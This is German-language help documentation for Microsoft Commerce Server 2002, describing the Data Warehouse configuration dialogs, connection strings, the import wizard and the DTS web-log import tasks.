IP-Adresse | Geben Sie eine IP-Adresse für den Webserver ein. Der Wert Alle nicht zugeordnet bezieht sich auf die IP-Adressen, die einem Computer, nicht aber einer bestimmten Site zugeordnet sind. Die Standardwebsite verwendet alle IP-Adressen, die keinen anderen Sites zugeordnet sind. Nur eine Site kann so eingestellt werden, dass sie nicht zugeordnete IP-Adressen verwendet.
TCP-Anschluss | Geben Sie die Anschlussadresse für diese Website ein. Die Standardanschlussnummer ist 80.
Hostheadername | Geben Sie den Hostheadernamen dieser Website ein. Wenn Sie einer IP-Adresse mithilfe von Hostheadern zusätzliche Sites hinzufügen, müssen Sie einen Hostheadernamen zuordnen.

Siehe auch

Konfigurieren eines Webservers

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Hilfe zur Benutzeroberfläche des Data Warehouse

Dieser Abschnitt enthält die kontextbezogenen Hilfethemen für die Data Warehouse-Ressource von Commerce Server 2002. Sie können diese Themen aufrufen, indem Sie in den Dialogfeldern der Data Warehouse-Ressource auf Hilfe klicken.

Dieser Abschnitt beinhaltet folgende Themen:

  • Eigenschaften von Data Warehouse, Registerkarte "SQL Server"
  • Eigenschaften von Data Warehouse, Registerkarte "Analysis-Server"
  • Eigenschaften von Data Warehouse, Registerkarte "Uhrzeit"


Eigenschaften von Data Warehouse, Registerkarte "SQLServer"

Feedback zu dieser Seite senden Commerce Server 2002

Eigenschaften von Data Warehouse, Registerkarte "SQL Server"

In diesem Dialogfeld konfigurieren Sie zwei Verbindungszeichenfolgen für die SQL Server Data Warehouse-Datenbank:

  • ConnStr_db_analysis. Diese clientseitige Verbindungszeichenfolge wird nur von der PivotTable in dynamischen Berichten verwendet. Clients können durch Anzeigen der Quelle während der Ausgabe eines dynamischen Berichts auf diese Verbindungszeichenfolge zugreifen. Infolgedessen ist für diese Verbindungszeichenfolge standardmäßig die Option Integrierte Sicherheit von Windows verwenden aktiviert. Dies ist auch dann der Fall, wenn Sie in diesem Dialogfeld SQL Server-Sicherheit angeben oder die Data Warehouse-Ressource entpacken.

    Da die Verbindungszeichenfolge die integrierte Sicherheit von Windows verwendet, können Windows-Benutzer, die keine SQL Server-Berechtigungen haben, die dynamischen SQL-Berichte nicht ausführen.

  • ConnStr_db_dw. Diese serverseitige Verbindungszeichenfolge wird für Geschäftsanalysekonfigurationen verwendet, die eine hohe Erreichbarkeit erzielen müssen. Diese Verbindungszeichenfolge wird zuerst beim Entpacken der Data Warehouse-Ressource festgelegt. Für sie gelten Administratorrechte.

    Für diese Verbindungszeichenfolge können Sie entweder die Option Integrierte Sicherheit von Windows verwenden oder die Option SQL Server-Sicherheit aktivieren.

Weitere Informationen über diese Verbindungszeichenfolgen finden Sie unter Data Warehouse-Verbindungszeichenfolgen.

In der folgenden Tabelle finden Sie eine Beschreibung der im Dialogfeld Eigenschaften von Data Warehouse auf der Registerkarte SQL Server verfügbaren Optionen und Funktionen.

Funktion | Aktion
SQL Server-Authentifizierung | Aktivieren Sie für die Zeichenfolge Connstr_db_dw connection diese Option, um die SQL Server-Sicherheit zu verwenden. Für die Verbindungszeichenfolge Connstr_db_analysis wird die SQL Server-Authentifizierung nicht verwendet.
Windows NT-Authentifizierung | Aktivieren Sie für die Zeichenfolge Connstr_db_dw connection diese Option, um die Windows NT-Sicherheit zu verwenden. Standardmäßig verwendet die Zeichenfolge Connstr_db_analysis immer die integrierte Windows-Authentifizierung.
Benutzer-ID | Geben Sie die Benutzer-ID ein, die für die SQL Server-Authentifizierung verwendet werden soll.
Kennwort | Geben Sie das Kennwort ein, das für die SQL Server-Authentifizierung verwendet werden soll.
Server | Geben Sie den Namen des SQL Servers ein, der die Data Warehouse-Datenbank enthält.
Datenbank | Geben Sie den Namen der SQL Server Data Warehouse-Datenbank an.

Siehe auch

Data Warehouse-Verbindungszeichenfolgen

Zugriff auf den Analysis-Server über HTTPS

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

Abfragen zum Lesen der Data Warehouse-Verbindungszeichenfolgen aus der Verwaltungsdatenbank

Skripts zum Sichern von durch Berichte aufgerufenen Datenbanken

Ändern des Data Warehouse-Kennworts


Eigenschaften von Data Warehouse, Registerkarte "Analysis-Server"

In diesem Dialogfeld konfigurieren Sie drei Verbindungszeichenfolgen für die Analysis-Server-(OLAP-)Datenbank:

  • ConnStr_OLAP. Diese serverseitige Verbindungszeichenfolge wird für Geschäftsanalysekonfigurationen verwendet, die eine hohe Erreichbarkeit erzielen müssen. Diese Verbindungszeichenfolge wird beim Entpacken der Data Warehouse-Ressource festgelegt. Für sie gelten Administratorrechte.

    Standardmäßig haben alle Mitglieder der Windows-Domäne des Servers, auf dem die OLAP-Datenbank gespeichert ist, Abfragezugriff (Lesezugriff) auf die Commerce Server 2002-OLAP-Cubes.

  • ConnStr_OLAP_HA. Diese Verbindungszeichenfolge wird für den Zugriff auf die OLAP-Datenbank in Testumgebungen sowie in Installationen verwendet, die ein hohes Maß an Verfügbarkeit gewährleisten müssen. Diese Verbindungszeichenfolge kann verwendet werden, wird derzeit jedoch nicht von den Commerce Server Business Desk-Analysemodulen referenziert.
  • ConnStr_OLAP_Client. Diese clientseitige Verbindungszeichenfolge wird nur von der PivotTable in dynamischen Berichten verwendet. Clients können durch Anzeigen der Quelle während der Ausgabe eines dynamischen Berichts auf diese Verbindungszeichenfolge zugreifen. Infolgedessen ist für diese Verbindungszeichenfolge standardmäßig die Option Integrierte Sicherheit von Windows verwenden aktiviert. Dies ist auch dann der Fall, wenn Sie in diesem Dialogfeld SQL Server-Sicherheit angeben oder die Data Warehouse-Ressource entpacken.

    Standardmäßig haben alle Mitglieder der Windows-Domäne des Servers, auf dem die OLAP-Datenbank gespeichert ist, Abfragezugriff (Lesezugriff) auf die Commerce Server 2002-OLAP-Cubes.

    Hinweis

    • In der Verbindungszeichenfolge ConnStr_OLAP_Client sollten HTTPS sowie die Standardauthentifizierung verwendet werden. Die Benutzer-ID und das Kennwort können einem beliebigen gültigen Windows-Benutzer auf dem Analysis Services-Computer zugeordnet sein und müssen im Format Domäne\Benutzer-ID angegeben werden, beispielsweise MÜNCHEN\CorneliaKunze. Sie können auch ein neues Benutzerkonto einrichten, dem Sie lediglich Abfragerechte für OLAP-Cubes zuweisen.

Weitere Informationen über diese Verbindungszeichenfolgen finden Sie unter Data Warehouse-Verbindungszeichenfolgen.

In den folgenden Tabellen sind die im Dialogfeld Eigenschaften von Data Warehouse auf der Registerkarte Analysis-Server verfügbaren Optionen und Funktionen beschrieben.

Bereich "Primärer Analysis-Server"

In diesem Bereich konfigurieren Sie die Verbindungszeichenfolge ConnStr_OLAP.

Funktion | Aktion
Server | Geben Sie den Namen des Analysis-Servers ein, auf dem die für dynamische Berichte verwendete OLAP-Datenbank gespeichert ist.
Datenbank | Geben Sie den Namen der für dynamische Berichte verwendeten OLAP-Datenbank ein.

Bereich "Sekundärer Analysis-Server"

In diesem Bereich konfigurieren Sie die Verbindungszeichenfolge ConnStr_OLAP_HA.

Funktion | Aktion
Server | Geben Sie den Namen des sekundären Analysis-Servers ein, auf dem die für dynamische Berichte verwendete OLAP-Datenbank gespeichert ist.
Datenbank | Geben Sie den Namen der für dynamische Berichte verwendeten sekundären OLAP-Datenbank ein.

Bereich "Clientverbindung"

In diesem Bereich konfigurieren Sie die Verbindungszeichenfolge ConnStr_OLAP_Client. Sie können Business Desk-Benutzern die Ausführung dynamischer Berichte ermöglichen, indem sie über die Internetinformationsdienste (IIS) eine Verbindung zum Analysis-Server (für den Zugriff auf die OLAP-Datenbank) aufbauen. Wenn Sie diese Verbindungsmethode konfigurieren, kann der PivotTable-Dienst einen Tunnel durch Firewalls oder Proxy-Server zum Analysis-Server herstellen.

Informationen zu den für die Verwendung dieses Features erforderlichen Schritten finden Sie unter Zugriff auf den Analysis-Server über HTTPS.

Funktion | Aktion
Verbindung über HTTP herstellen | Wählen Sie diese Option aus, um den Benutzern den Zugriff auf den Analysis-Server über die IIS zu ermöglichen.
SSL verwenden | Wählen Sie diese Option aus, um die Verbindung über einen sicheren Kanal mithilfe von SSL (Secure Sockets Layer) zu verschlüsseln und zu übertragen. Dies ist die empfohlene Einstellung.
Benutzer-ID | Geben Sie eine gültige Windows-Benutzer-ID im Format Domäne\Benutzer-ID ein, beispielsweise MÜNCHEN\CorneliaKunze. Sie können auch ein neues Benutzerkonto einrichten, dem Sie lediglich Abfragerechte für OLAP-Cubes zuweisen.
Kennwort | Geben Sie ein gültiges Windows-Kennwort ein.
Server | Geben Sie den Namen des Analysis-Servers ein.
Datenbank | Geben Sie den Namen der Data Warehouse-OLAP-Datenbank ein.

Siehe auch

Data Warehouse Connection Strings

Zugriff auf den Analysis-Server über HTTPS

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

Abfragen zum Lesen der Data Warehouse-Verbindungszeichenfolgen aus der Verwaltungsdatenbank

Skripts zum Sichern von durch Berichte aufgerufenen Datenbanken

Ändern des Data Warehouse-Kennworts


Eigenschaften von Data Warehouse, Registerkarte "Uhrzeit"

In diesem Dialogfeld können Sie die Zeitzone und den ersten Tag der Woche konfigurieren, die das Data Warehouse den importierten Zeitdaten zuweist.

Standardmäßig übernimmt das Data Warehouse die Zeitzone und den Wochenanfangstag von Microsoft SQL Server. Sie können jedoch die Zeitzone und den ersten Tag der Woche, die das Data Warehouse den importierten Zeitdaten zuweist, selbst konfigurieren.

Hinweis

  • Der in SQL Server festgelegte erste Tag der Woche wird in Berichten verwendet. Der erste Tag der Woche, den Sie im Dialogfeld Eigenschaften von Data Warehouse festlegen, dient hingegen dazu, die aus Webprotokolldateien importierten Daten wöchentlich zu aggregieren.

In der folgenden Tabelle finden Sie eine Beschreibung der im Dialogfeld Eigenschaften von Data Warehouse auf der Registerkarte Uhrzeit verfügbaren Optionen und Funktionen.

Funktion | Aktion
Zeitzone anpassen an | Wählen Sie in der Dropdownliste eine Zeitzone aus.
Erster Tag der Woche | Wählen Sie in der Dropdownliste den ersten Tag der Woche aus.

Siehe auch

Konfigurieren der Standardeigenschaften einer Website für den Import

Konfigurieren von Webprotokolldateien für den Import

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Festlegen der in das Data Warehouse zu importierenden Daten


Data Warehouse-Taskverlauf

Mit diesem Bildschirm können Sie den Status von DTS-Tasks aufrufen.

So rufen Sie den Taskverlauf auf

  • Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002, erweitern Sie Commerce Server Manager, erweitern Sie Globale Ressourcen, erweitern Sie das Data Warehouse, dessen Taskverlauf Sie anzeigen möchten, und klicken Sie danach auf Taskverlauf.

Die nachstehende Tabelle zeigt die Spalten des Bildschirms Taskverlauf.

Funktion | Aktion
Beschreibung | Die Beschreibung des DTS-Tasks, dessen Status Sie anzeigen.
Anfangszeit | Die Uhrzeit, zu der der DTS-Task gestartet wurde.
Beendigungszeit | Die Uhrzeit, zu der der DTS-Task beendet wurde.
Status | Der aktuelle Status des DTS-Tasks.
Sitename/Data Warehouse-Name | Der Name der Site oder des Data Warehouse, die/das mit dem DTS-Task verknüpft ist.
Prozent abgeschlossen | Prozentsatz, der den Fortgang der Ausführung des DTS-Tasks angibt.

In der nachstehenden Tabelle finden Sie die möglichen Statuswerte des der Data Warehouse-Ressource zugeordneten Taskverlaufs.

Status | Beschreibung
Erfolg | Der DTS-Task wurde erfolgreich ausgeführt.
Abbrechen | Der DTS-Task wurde abgebrochen oder ist fehlgeschlagen.
Der Vorgang wurde mit Fehlern abgeschlossen. | Der DTS-Task wurde abgebrochen oder ist fehlgeschlagen.
Unvollständig | Der DTS-Task ist fehlgeschlagen.

Siehe auch

Wiederholen eines DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Empfohlene Vorgehensweisen für das Data Warehouse


Data Warehouse-Import-Assistent

Mit dem Data Warehouse-Import-Assistenten importieren Sie Daten in das Data Warehouse und bereiten es für die Ausführung der Commerce Server Business Desk-Analyseberichte vor.

So starten Sie den Data Warehouse-Import-Assistenten

  • Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Data Warehouse-Import-Assistent.

Sie können den Assistenten auch nach Ausführen der Data Warehouse-Konfiguration automatisch starten. Informationen dazu finden Sie unter Data Warehouse-Konfiguration.

Nach Fertigstellen des Data Warehouse-Import-Assistenten haben Sie ein DTS-Paket erstellt, das festlegt, welche Daten importiert werden sollen und zu welchem Zeitpunkt dies erfolgen soll.

Wichtig

  • Der Data Warehouse-Import-Assistent speichert das Paket stets auf dem lokalen SQL-Server. Ihr lokaler SQL-Server muss gestartet werden.
  • Wenn Ihre Site so konfiguriert ist, dass sie die Windows-Authentifizierung verwendet, den Data Warehouse-Import-Assistenten ausführt und ein Paket speichert, muss Ihr Konto in der Datenbank msdb sowie für das Objekt sysDTSPackage über Berechtigungen zum Auswählen, Einfügen und Aktualisieren verfügen. Die Datenbank msdb wird vom SQL Server-Agenten zur Planung von Warnungen und Aufträgen verwendet sowie beim Speichern des DTS-Pakets.

Dieser Abschnitt beinhaltet folgende Themen:

  • Dialogfeld "Importoptionen"
  • Dialogfeld "Geben Sie den Modus für den Import der Daten an"
  • Dialogfeld "Speicherorte der Protokolldateien"
  • Dialogfeld "Protokolldateien"
  • Dialogfeld "Optionen für die Ausführung von Importen"
  • Dialogfeld "Das DTS-Paket wird ausgeführt"


Dialogfeld "Importoptionen"

In diesem Dialogfeld wählen Sie die Site aus, für die Sie Daten importieren möchten. Außerdem können Sie den in das Data Warehouse für diese Site zu importierenden Datentyp festlegen.

Die folgende Tabelle enthält eine Beschreibung der einzelnen Importoptionen:

Importoption | Beschreibung
Webserverprotokolle Importiert Daten aus von der Website generierten Webprotokolldateien. Diese Daten erhalten Sie, wenn Benutzer Ihre Site besuchen und auf Links zu Seiten Ihrer Site klicken. Einige der Daten, die aus einer Webprotokolldatei in das Data Warehouse importiert werden, enthalten beispielsweise:
  • Die Dauer der Zeitspanne, die ein Benutzer auf Ihrer Site verbracht hat.
  • Die Verweissite, von der ein Benutzer die Site aufgerufen hat.
  • Die Anzeigen, die von Benutzern in der Website aktiviert wurden.
  • Die Anzeigen, die Benutzern der Site angezeigt wurden.
  • Die Anzahl von Benutzern, denen eine Anzeige angezeigt wurde.

Hinweis

  • Die Webprotokolldateien müssen im erweiterten W3C-Webprotokolldateiformat (World Wide Web Consortium) vorliegen. Falls Sie Apache- oder Lotus-Protokolle importieren möchten, müssen diese zunächst in das erweiterte W3C-Protokolldateiformat konvertiert werden.

Eine Auflistung von Commerce Server-Berichten, die auf Daten aus Webserver-Protokolldateien basieren, finden Sie unter Berichte auf Basis von Daten aus Webprotokolldateien.
IP-Adressen auflösen | Konvertiert aus den Protokolldateien importierte IP-Adressen in Domänennamen. So wird beispielsweise 198.105.232.4 zu www.microsoft.com. Auf diese Weise können die Leser von Berichten die in den Berichten enthaltenen Daten leichter verstehen.
Produktkatalog Importiert Daten über die Produkte in Ihre Commerce Server-Katalogdatenbank. Dazu zählen dimensionale Informationen, z. B. Name, Beschreibung, Farbe und Größe.

Katalogdaten sind für bestimmte Berichte, beispielsweise Produktanalyse und Transaktionsanalyse, zur korrekten Anzeige erforderlich. Werden Katalogdaten nicht in das Data Warehouse importiert, sind Produkte in Berichten ausschließlich anhand ihrer SKU-Nummern (Stock Keeping Unit) zu identifizieren.

Um anzugeben, welche Katalogeigenschaften in das Data Warehouse importiert werden sollen, verwenden Sie das Modul "Katalogdefinitions-Designer" in Commerce Server Business Desk. Weitere Informationen finden Sie unter Festlegen der in das Data Warehouse zu importierenden Daten.
Transaktionen | Importiert Transaktionsdaten, z. B. Bestellungen und Anforderungsnummern. Mit diesen Daten kann in Analyseberichten bestimmt werden, wie gut sich bestimmte Produkte verkaufen, welche Mengen angefordert werden oder wie viel die Benutzer kaufen.
Profile Importiert Profildaten. Dazu gehören z. B. der Benutzername, die Adresse und das Registrierungsdatum.

Um anzugeben, welche Profileigenschaften in das Data Warehouse importiert werden sollen, verwenden Sie das Modul "Profildefinitions-Designer" in Commerce Server Business Desk. Weitere Informationen finden Sie unter Festlegen der in das Data Warehouse zu importierenden Daten.
Kampagnen | Importiert Kampagneninformationen, beispielsweise Daten über Werbungstreibende, Kampagnen und Kampagnenartikel.

Die genannten Importoptionen entsprechen jeweils einem Commerce Server-DTS-Task (Data Transformation Services-Task). Wenn Sie möchten, können Sie die einzelnen DTS-Tasks auch manuell konfigurieren, ohne dafür den Data Warehouse-Import-Assistenten zu verwenden. Weitere Informationen finden Sie unter Importieren von Daten in das Data Warehouse.

Eine ausführliche Auflistung der Daten, die für diese Optionen jeweils importiert werden, finden Sie unter Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks.

Siehe auch

Data Warehouse-Import-Assistent

Berichte auf Basis von Daten aus Webprotokolldateien

Festlegen der in das Data Warehouse zu importierenden Daten

Importieren von Daten in das Data Warehouse

Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks


Dialogfeld "Geben Sie den Modus für den Import der Daten an"

Geben Sie in diesem Dialogfeld an, ob alle Daten in das Data Warehouse importiert werden sollen oder nur neue Daten bzw. Daten, die seit dem letzten Importvorgang aktualisiert wurden.

Wenn Sie Vollständiges Laden auswählen, wird für alle Importoptionen, die für dieses Paket ausgewählt sind, ein vollständiger Importvorgang ausgeführt.

Hinweise

  • Wenn Sie konfigurieren, dass beim Importvorgang erstmalig Profil-, Katalog- oder Transaktionsdaten importiert werden, wählen Sie Vollständiges Laden aus.
  • Für den Import von Profildaten im Modus Vollständiges Laden ist als Anfangsdatum der 1.1.2000 eingestellt. Wenn Sie dieses Datum ändern möchten, bearbeiten Sie das DTS-Paket, nachdem Sie es mit dem Data Warehouse-Assistenten gespeichert haben.


Dialogfeld "Speicherorte der Protokolldateien"

In diesem Dialogfeld geben Sie die Speicherorte der Webprotokolldateien an und weisen diese den Computern sowie Websites zu, welche die Protokolldateien erzeugt haben.

Geben Sie in dieses Dialogfeld nur Daten ein, wenn Sie die Webprotokolldateien von dem im Dialogfeld angezeigten Speicherort verschoben haben.

So geben Sie die Speicherorte der Webprotokolldateien sowie die dazugehörigen Computer und Websites an

  1. Wählen Sie im Dialogfeld Speicherorte und Server die Anwendung aus, für die Sie Webprotokolldateien importieren möchten.
  2. Klicken Sie im Feld Protokolldateipfad auf die Auslassungsschaltfläche, um zum Speicherort der Webprotokolldateien für die ausgewählte Anwendung zu wechseln.


Dialogfeld "Protokolldateien"

In diesem Dialogfeld wählen Sie die zu importierenden Webserver-Protokolldateien aus.

In der folgenden Tabelle werden die Importkriterien beschrieben:

Importkriterium | Beschreibung
Alle Protokolle seit dem letzten Import | Importiert unter Anwendung der Protokolldateimaske nur die neuen Protokolldateien, die seit dem letzten Import erzeugt wurden. Diese Protokolldateien werden in der Spalte Protokolldateiname des Dialogfelds aufgelistet.
Protokolldateien nach Datum und Zeit | Importiert unter Anwendung der Protokolldateimaske nur die Protokolldateien für den angegebenen Zeitraum. Diese Protokolldateien werden in der Spalte Protokolldateiname des Dialogfelds aufgelistet.
Protokolldateien manuell auswählen | Wählt die zu importierenden Protokolldateien aus. Es werden alle Protokolldateien im Verzeichnis aufgelistet und keine Protokolldateimaske angewendet.


Dialogfeld "Optionen für die Ausführung von Importen"

In diesem Dialogfeld können Sie dem Importpaket, das Sie mithilfe des Data Warehouse-Import-Assistenten erstellt haben, einen Namen zuweisen und angeben, wann das Paket ausgeführt werden soll.

Sie können hier wahlweise eine oder beide der folgenden Optionen aktivieren:

  • Sofort importieren. Sobald Sie den Data Warehouse-Import-Assistenten beendet haben, wird der Import sofort auf dem aktuellen Computer ausgeführt.

    Hinweis

    • Das Paket wird nur gespeichert, wenn Sie die Option Importkonfiguration in SQL Server speichern auswählen.
  • Importkonfiguration in SQL Server speichern. Diese Option sollten Sie auswählen, wenn Sie das Importpaket bearbeiten möchten (wenn Sie z. B. das Anfangsdatum für den Profildatenimport ändern möchten), oder wenn der Importvorgang zu einem späteren Zeitpunkt ausgeführt werden soll.

    Hinweis

    • Das Paket wird in SQL Enterprise Manager im Ordner Lokale Pakete gespeichert. Wenn SQL Enterprise Manager während der Ausführung des Assistenten geöffnet wird, müssen Sie mit der rechten Maustaste auf Lokale Pakete und anschließend mit der linken Maustaste auf Aktualisieren klicken, um das neue Paket anzuzeigen.

Informationen dazu, wie Sie das Importpaket zu einem späteren Zeitpunkt manuell ausführen können, finden Sie unter Ausführen eines DTS-Importpakets.


Dialogfeld "Das DTS-Paket wird ausgeführt"

Dieses Dialogfeld wird angezeigt, wenn Sie im Dialogfeld Optionen für die Ausführung von Importen die Option Sofort importieren ausgewählt haben.

Der Data Warehouse-Import-Assistent zeigt jeweils genau an, welcher Schritt gerade ausgeführt wird.

Hinweis

  • Bei Fehlern in den DTS-Tasks erscheint eine entsprechende Fehlermeldung. Klicken Sie auf OK, um die Fehlermeldung zu schließen. Informationen zum Behandeln von Problemen während des Importvorgangs finden Sie unter Problembehandlung beim Data Warehouse-Importvorgang.


Ausführen eines DTS-Importpakets

Wenn Sie mithilfe des Data Warehouse-Import-Assistenten ein DTS-Importpaket erstellen, können Sie es auch in SQL Server speichern, um es zu einem späteren Zeitpunkt auszuführen. Führen Sie die folgenden Schritte aus, um das Importpaket auszuführen.

So führen Sie ein Importpaket aus

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Commerce Server-Manager.
  2. Erweitern Sie im Commerce Server-Manager nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Erweitern Sie Data Transformation Services, und klicken Sie dann auf Lokale Pakete.
  4. Klicken Sie mit der rechten Maustaste auf Ihr Paket, und klicken Sie anschließend auf Paket ausführen.
  5. Überprüfen Sie, ob im Dialogfeld Paket ausführen fehlgeschlagene Tasks angezeigt werden.

    Hinweis

    • Bei Fehlern in den DTS-Tasks erscheint eine entsprechende Fehlermeldung. Klicken Sie auf OK, um die Fehlermeldung zu schließen. Informationen zum Behandeln von Problemen während des Importvorgangs finden Sie unter Problembehandlung beim Data Warehouse-Importvorgang.
  6. Klicken Sie auf Fertig, um das Dialogfeld Paket wird ausgeführt zu schließen.


Hilfe zu Dialogfeldelementen von DTS-Tasks

Dieser Abschnitt enthält die kontextbezogenen Hilfethemen für die Tasks der Data Transformation Services (DTS) von Commerce Server 2002. Sie können diese Themen aufrufen, indem Sie in den Dialogfeldern der Commerce Server 2002-DTS-Tasks auf Hilfe klicken.

Dieser Abschnitt beinhaltet folgende Themen:

  • Dialogfeld "Eigenschaften von DW-Synchronisierung"
  • Dialogfeld "Webserverprotokolle importieren"
  • Dialogfeld "Webserver-Protokolldateien"
  • Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Ausgeschlossen"
  • Dialogfeld "Ausgeschlossen"
  • Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Rückschlüsse"
  • Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Abfr.-Zeichenfolgen"
  • Dialogfeld "Abfr.-Zeichenfolgen"
  • Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Std.-Dateien"
  • Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Protokolldat."
  • Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Erneut starten"
  • Dialogfeld "Transaktionsimporteigenschaften"
  • Dialogfeld "Katalogimporteigenschaften"
  • Dialogfeld "Task löschen"
  • Dialogfeld "Eigenschaften der IP-Auflösung"
  • Dialogfeld "Berichtseigenschaften vorbereiten"


Dialogfeld "Eigenschaften von DW-Synchronisierung"

Mithilfe des DTS-Konfigurationssynchronisationstasks können Sie die sitespezifischen Konfigurationsdaten aus der Verwaltungsdatenbank in das Data Warehouse importieren. Dadurch unterscheidet sich dieser Task von der Funktion der Schaltfläche Werte synchronisieren im Dialogfeld Eigenschaften von Anwendung. Beim Klicken auf diese Schaltfläche liest Commerce Server die Werte aus der IIS-Metabasis (Internetinformationsdienste-Metabasis) zunächst in die Verwaltungsdatenbank und anschließend aus dieser in das Data Warehouse ein. Weitere Informationen finden Sie unter Konfigurieren einer Anwendung.

Zur Leistungsoptimierung werden im Data Warehouse die Konfigurationsdaten der Site gespeichert. Unter anderem werden Topologieeinstellungen der Site gespeichert, sodass diese bei Bedarf nicht immer wieder aus der Verwaltungsdatenbank ausgelesen werden müssen.

Sie können das Data Warehouse entweder mit einer einzelnen Site oder allen Sites synchronisieren. Der DTS-Konfigurationssynchronisationstask muss ausgeführt werden, bevor Sie irgendwelche DTS-Tasks ausführen können, bei denen Daten importiert oder gelöscht werden.

Weitere Informationen zum Konfigurieren und Ausführen dieses Tasks finden Sie unter Ausführen des DTS-Konfigurationssynchronisationstasks.

Hinweis

  • Nach dem Start kann dieser Task nicht mehr abgebrochen werden. Sie können zwar die entsprechende Schaltfläche Abbrechen wählen, der Task wird jedoch nicht gestoppt.

Die folgende Tabelle enthält die im Dialogfeld Eigenschaften von DW-Synchronisierung verfügbaren Optionen und Funktionen.

Funktion | Aktion
Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Die Beschreibung darf maximal 255 Zeichen umfassen.
Vorgangsebene Wählen Sie eine der folgenden Optionen in der Dropdownliste aus:
  • Siteebene, um eine Site mit dem Data Warehouse zu synchronisieren
  • Data Warehouse-Ebene, um alle Sites mit dem Data Warehouse zu synchronisieren.
Sitename | Wählen Sie in der Dropdownliste die Site aus, die mit dem Data Warehouse synchronisiert werden soll.
Data Warehouse-Name | Wählen Sie in der Dropdownliste das Data Warehouse aus, das mit den Sites synchronisiert werden soll.
Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.

Siehe auch

Ausführen des DTS-Konfigurationssynchronisations-Tasks

ETL-Prozess für den DTS-Konfigurationssynchronisations-Task

Erstellen eines Skripts für den DTS-Konfigurationssynchronisationstask

Empfohlene Vorgehensweisen für das Data Warehouse

Workflow zum Ausführen von DTS-Tasks


Dialogfeld "Webserverprotokolle importieren"

Hinweis

  • Wenn Sie mit mehreren Anwendungen und Protokolldateien arbeiten, können Sie den DTS-Webserverprotokollimport-Task auch mit einem Skript (anstelle der Benutzeroberfläche) konfigurieren. Eine entsprechende Anleitung finden Sie unter Erstellen eines Skripts für den DTS-Webserverprotokollimport-Task.

Durch den DTS-Webserverprotokollimport-Task werden Webprotokolldaten, die durch Ihre Website erzeugt werden, in das Data Warehouse von Commerce Server importiert. Für den DTS-Webserverprotokollimport-Task können Sie angeben, welche Protokolldateien importiert werden sollen und wo diese sich befinden. Die Webprotokolldateien müssen im erweiterten W3C-Webprotokolldateiformat (World Wide Web Consortium) vorliegen.

Wichtige Informationen zum Konfigurieren und Ausführen des DTS-Webserverprotokollimport-Tasks finden Sie unter Empfohlene Vorgehensweisen für das Data Warehouse.

Informationen zum Behandeln von Problemen während des Importvorgangs finden Sie unter Problembehandlung beim Data Warehouse-Importvorgang.

Siehe auch

Registerkarte "Speicherorte der Protokolldateien"

Registerkarte "Kriterien importieren"

Registerkarte "Neustartdetails"

Die folgende Tabelle enthält die im Dialogfeld Webserverprotokolle importieren verfügbaren Optionen und Funktionen.

Funktion | Aktion
Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Die Beschreibung darf maximal 255 Zeichen umfassen.
Vorgangsebene Wählen Sie in der Dropdownliste die Option Siteebene, wenn Sie Protokolldateien ausschließlich für die angegebene Site importieren möchten.

Wählen Sie Data Warehouse-Ebene, um Protokolldateien für alle Sites zu importieren, die mit dem Data Warehouse verknüpft sind.

Site | Wählen Sie in der Dropdownliste die Website aus, die das zu importierende Webserverprotokoll enthält.
Data Warehouse | Wählen Sie in der Dropdownliste den Eintrag Data Warehouse-Ebene, um Protokolldateien für alle Sites zu importieren, die mit diesem Data Warehouse verknüpft sind.
Anzahl der Wiederholungen Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.

Hinweis

  • Klicken Sie auf Erweitert und dann auf die Registerkarte Erneut starten, um anzugeben, wie oft der Webprotokollimportvorgang neu gestartet wird, bevor der Übergang zum nächsten Importvorgang erfolgt.
Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
Erweitert | Klicken Sie hierauf, um das Dialogfeld Erweiterte Webprotokollimport-Eigenschaften zu öffnen.

Registerkarte "Speicherorte der Protokolldateien"

Die folgende Tabelle enthält die auf der Registerkarte Speicherorte der Protokolldateien des Dialogfelds Webserverprotokolle importieren verfügbaren Optionen und Funktionen.

Funktion | Aktion
Speicherorte der Protokolldateien | Klicken Sie auf die Spaltenüberschriften, um die Liste der Protokolldateien nach Anwendungen, Rechnern, IIS-Websites bzw. Protokolldateipfaden zu ordnen.
Protokolldateipfad | Geben Sie den Pfad der zu importierenden Webprotokolldatei ein, oder suchen Sie den Pfad der Protokolldatei durch Klicken auf die Auslassungsschaltfläche [...].
